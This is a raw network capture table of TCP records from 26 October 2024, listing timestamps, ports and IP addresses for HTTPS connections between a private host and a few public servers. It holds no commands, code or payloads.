Oct 26, 2024 13:45:59.027930975 CEST	443	49754	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.027942896 CEST	49754	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.027956009 CEST	443	49754	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.030714989 CEST	49760	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.030755043 CEST	443	49760	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.030826092 CEST	49760	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.030982018 CEST	49760	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.030991077 CEST	443	49760	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.116281986 CEST	443	49755	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.121680975 CEST	49755	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.121714115 CEST	443	49755	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.122308016 CEST	49755	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.122313023 CEST	443	49755	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.252058029 CEST	443	49755	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.252275944 CEST	443	49755	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.252331018 CEST	49755	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.252602100 CEST	49755	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.252620935 CEST	443	49755	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.252639055 CEST	49755	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.252645969 CEST	443	49755	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.256201982 CEST	49761	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.256236076 CEST	443	49761	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.256330967 CEST	49761	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.256493092 CEST	49761	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.256505013 CEST	443	49761	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.582690954 CEST	443	49757	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.588740110 CEST	49757	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.588767052 CEST	443	49757	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.589390039 CEST	49757	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.589395046 CEST	443	49757	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.589729071 CEST	443	49759	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.590080023 CEST	49759	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.590096951 CEST	443	49759	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.590472937 CEST	49759	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.590477943 CEST	443	49759	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.652570963 CEST	443	49756	142.250.184.228	192.168.2.9
Oct 26, 2024 13:45:59.659434080 CEST	49756	443	192.168.2.9	142.250.184.228
Oct 26, 2024 13:45:59.659480095 CEST	443	49756	142.250.184.228	192.168.2.9
Oct 26, 2024 13:45:59.661788940 CEST	443	49756	142.250.184.228	192.168.2.9
Oct 26, 2024 13:45:59.661926031 CEST	49756	443	192.168.2.9	142.250.184.228
Oct 26, 2024 13:45:59.662791014 CEST	443	49758	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.664498091 CEST	49756	443	192.168.2.9	142.250.184.228
Oct 26, 2024 13:45:59.664633989 CEST	443	49756	142.250.184.228	192.168.2.9
Oct 26, 2024 13:45:59.665065050 CEST	49758	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.665102959 CEST	443	49758	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.665554047 CEST	49758	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.665559053 CEST	443	49758	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.716145039 CEST	443	49757	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.716231108 CEST	443	49757	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.716286898 CEST	49757	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.718126059 CEST	49757	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.718142033 CEST	443	49757	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.719964027 CEST	443	49759	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.720031023 CEST	443	49759	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.720068932 CEST	49759	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.736481905 CEST	49759	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.736511946 CEST	443	49759	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.736532927 CEST	49759	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.736540079 CEST	443	49759	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.752511024 CEST	49762	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.752552986 CEST	443	49762	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.752686024 CEST	49762	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.753411055 CEST	49763	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.753454924 CEST	443	49763	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.753505945 CEST	49763	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.753576040 CEST	49762	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.753588915 CEST	443	49762	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.755395889 CEST	49756	443	192.168.2.9	142.250.184.228
Oct 26, 2024 13:45:59.755404949 CEST	443	49756	142.250.184.228	192.168.2.9
Oct 26, 2024 13:45:59.761504889 CEST	49763	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.761523962 CEST	443	49763	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.770023108 CEST	443	49760	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.770337105 CEST	49760	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.770345926 CEST	443	49760	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.770797014 CEST	49760	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.770802021 CEST	443	49760	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.797290087 CEST	443	49758	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.797368050 CEST	443	49758	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.797432899 CEST	49758	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.800196886 CEST	49758	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.800196886 CEST	49758	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.800224066 CEST	443	49758	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.800235987 CEST	443	49758	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.804584980 CEST	49764	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.804636955 CEST	443	49764	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.804759026 CEST	49764	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.806085110 CEST	49764	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:45:59.806107998 CEST	443	49764	13.107.246.42	192.168.2.9
Oct 26, 2024 13:45:59.862231970 CEST	49756	443	192.168.2.9	142.250.184.228
Oct 26, 2024 13:46:00.035649061 CEST	443	49760	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.035726070 CEST	443	49760	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.035784006 CEST	49760	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.036123991 CEST	49760	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.036139011 CEST	443	49760	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.036166906 CEST	49760	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.036173105 CEST	443	49760	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.044226885 CEST	49766	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.044250011 CEST	443	49766	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.044322968 CEST	49766	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.044766903 CEST	49766	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.044779062 CEST	443	49766	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.166723013 CEST	443	49761	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.167447090 CEST	49761	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.167464018 CEST	443	49761	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.167891026 CEST	49761	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.167896032 CEST	443	49761	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.299026012 CEST	443	49761	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.299369097 CEST	443	49761	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.299590111 CEST	49761	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.299771070 CEST	49761	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.299787998 CEST	443	49761	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.299801111 CEST	49761	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.299807072 CEST	443	49761	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.303729057 CEST	49767	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.303776979 CEST	443	49767	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.303875923 CEST	49767	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.306452990 CEST	49767	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.306468964 CEST	443	49767	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.502398968 CEST	443	49762	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.504246950 CEST	49762	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.504278898 CEST	443	49762	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.504753113 CEST	49762	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.504757881 CEST	443	49762	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.519673109 CEST	443	49763	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.520083904 CEST	49763	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.520126104 CEST	443	49763	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.520554066 CEST	49763	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.520559072 CEST	443	49763	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.584666014 CEST	443	49704	23.206.229.209	192.168.2.9
Oct 26, 2024 13:46:00.584929943 CEST	49704	443	192.168.2.9	23.206.229.209
Oct 26, 2024 13:46:00.636964083 CEST	443	49762	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.637033939 CEST	443	49762	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.637166977 CEST	49762	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.638909101 CEST	49762	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.638930082 CEST	443	49762	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.638941050 CEST	49762	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.638947010 CEST	443	49762	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.642693043 CEST	49768	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.642733097 CEST	443	49768	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.642935991 CEST	49768	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.644356966 CEST	49768	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.644372940 CEST	443	49768	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.655097008 CEST	443	49763	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.655188084 CEST	443	49763	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.655400038 CEST	49763	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.655524969 CEST	49763	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.655541897 CEST	443	49763	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.655548096 CEST	49763	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.655555010 CEST	443	49763	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.662656069 CEST	49769	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.662694931 CEST	443	49769	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.662795067 CEST	49769	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.664006948 CEST	49769	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.664022923 CEST	443	49769	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.762758970 CEST	443	49764	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.768240929 CEST	49764	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.768240929 CEST	49764	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.768263102 CEST	443	49764	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.768273115 CEST	443	49764	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.775841951 CEST	443	49766	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.776170015 CEST	49766	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.776191950 CEST	443	49766	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.776647091 CEST	49766	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.776652098 CEST	443	49766	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.896459103 CEST	443	49764	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.896574020 CEST	443	49764	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.898859024 CEST	49764	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.905245066 CEST	443	49766	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.905340910 CEST	443	49766	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.905389071 CEST	49766	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.922471046 CEST	49764	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.922488928 CEST	443	49764	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.922528982 CEST	49764	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.922535896 CEST	443	49764	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.938762903 CEST	49766	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.938782930 CEST	443	49766	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.984029055 CEST	49770	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.984067917 CEST	443	49770	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.984206915 CEST	49770	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.985481024 CEST	49770	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.985496998 CEST	443	49770	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.985799074 CEST	49771	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.985883951 CEST	443	49771	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:00.985959053 CEST	49771	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.986094952 CEST	49771	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:00.986125946 CEST	443	49771	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.039520979 CEST	443	49767	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.040397882 CEST	49767	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.040421009 CEST	443	49767	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.040848970 CEST	49767	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.040865898 CEST	443	49767	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.167581081 CEST	443	49767	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.167660952 CEST	443	49767	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.167788982 CEST	49767	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.195720911 CEST	49767	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.195720911 CEST	49767	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.195749044 CEST	443	49767	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.195759058 CEST	443	49767	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.200366020 CEST	49772	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.200409889 CEST	443	49772	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.200496912 CEST	49772	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.200644016 CEST	49772	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.200654984 CEST	443	49772	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.376823902 CEST	443	49768	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.377290010 CEST	49768	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.377327919 CEST	443	49768	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.377769947 CEST	49768	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.377775908 CEST	443	49768	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.391217947 CEST	443	49769	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.392064095 CEST	49769	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.392128944 CEST	443	49769	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.392612934 CEST	49769	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.392625093 CEST	443	49769	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.504761934 CEST	443	49768	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.504869938 CEST	443	49768	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.504915953 CEST	49768	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.505367994 CEST	49768	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.505388021 CEST	443	49768	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.516587973 CEST	49774	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.516632080 CEST	443	49774	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.516700983 CEST	49774	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.517019987 CEST	49774	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.517034054 CEST	443	49774	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.521523952 CEST	443	49769	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.521612883 CEST	443	49769	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.521847963 CEST	49769	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.521883011 CEST	49769	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.521883965 CEST	49769	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.521903992 CEST	443	49769	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.521913052 CEST	443	49769	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.524085045 CEST	49775	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.524122953 CEST	443	49775	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.524260998 CEST	49775	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.524403095 CEST	49775	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.524418116 CEST	443	49775	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.715430975 CEST	443	49771	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.715830088 CEST	49771	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.715877056 CEST	443	49771	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.716490030 CEST	49771	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.716506004 CEST	443	49771	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.719250917 CEST	443	49770	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.719738960 CEST	49770	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.719750881 CEST	443	49770	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.720213890 CEST	49770	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.720218897 CEST	443	49770	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.844548941 CEST	443	49771	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.844625950 CEST	443	49771	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.844696999 CEST	49771	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.845035076 CEST	49771	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.845084906 CEST	443	49771	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.845115900 CEST	49771	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.845133066 CEST	443	49771	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.851025105 CEST	443	49770	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.852988005 CEST	443	49770	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.855384111 CEST	49770	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.860023975 CEST	49776	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.860102892 CEST	443	49776	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.860177040 CEST	49776	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.860181093 CEST	49770	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.860200882 CEST	443	49770	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.860255003 CEST	49770	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.860260963 CEST	443	49770	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.860450029 CEST	49776	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.860485077 CEST	443	49776	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.862792969 CEST	49777	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.862818003 CEST	443	49777	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.863028049 CEST	49777	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.863358974 CEST	49777	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.863374949 CEST	443	49777	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.927941084 CEST	443	49772	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.928416014 CEST	49772	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.928436995 CEST	443	49772	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:01.928880930 CEST	49772	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:01.928886890 CEST	443	49772	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.061652899 CEST	443	49772	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.061726093 CEST	443	49772	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.061873913 CEST	49772	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.062556982 CEST	49772	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.062577009 CEST	443	49772	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.062648058 CEST	49772	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.062655926 CEST	443	49772	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.076833963 CEST	49778	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.076913118 CEST	443	49778	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.076987982 CEST	49778	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.077182055 CEST	49778	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.077214003 CEST	443	49778	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.262615919 CEST	443	49774	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.275656939 CEST	443	49775	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.301839113 CEST	49774	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.301904917 CEST	443	49774	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.302325964 CEST	49774	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.302340984 CEST	443	49774	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.302613020 CEST	49775	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.302639008 CEST	443	49775	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.303226948 CEST	49775	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.303234100 CEST	443	49775	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.430269003 CEST	443	49774	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.430396080 CEST	443	49774	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.430497885 CEST	49774	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.432228088 CEST	443	49775	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.432316065 CEST	443	49775	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.432410955 CEST	49775	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.433166981 CEST	49774	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.433211088 CEST	443	49774	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.433263063 CEST	49774	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.433280945 CEST	443	49774	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.435189962 CEST	49775	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.435216904 CEST	443	49775	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.435233116 CEST	49775	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.435240030 CEST	443	49775	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.439929008 CEST	49779	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.439973116 CEST	443	49779	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.440052032 CEST	49779	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.440488100 CEST	49779	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.440511942 CEST	443	49779	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.443470001 CEST	49780	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.443506002 CEST	443	49780	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.443670034 CEST	49780	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.443806887 CEST	49780	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.443823099 CEST	443	49780	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.598895073 CEST	443	49776	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.614243984 CEST	443	49777	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.651182890 CEST	49776	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.669764042 CEST	49776	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.669801950 CEST	443	49776	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.670331955 CEST	49776	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.670346022 CEST	443	49776	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.670609951 CEST	49777	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.670624971 CEST	443	49777	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.671052933 CEST	49777	443	192.168.2.9	13.107.246.42
Oct 26, 2024 13:46:02.671058893 CEST	443	49777	13.107.246.42	192.168.2.9
Oct 26, 2024 13:46:02.754070044 CEST	49677	443	192.168.2.9	20.189.173.11
Oct 26, 2024 13:46:02.797261000 CEST	443	49776	13.107.246.42	192.168.2.9
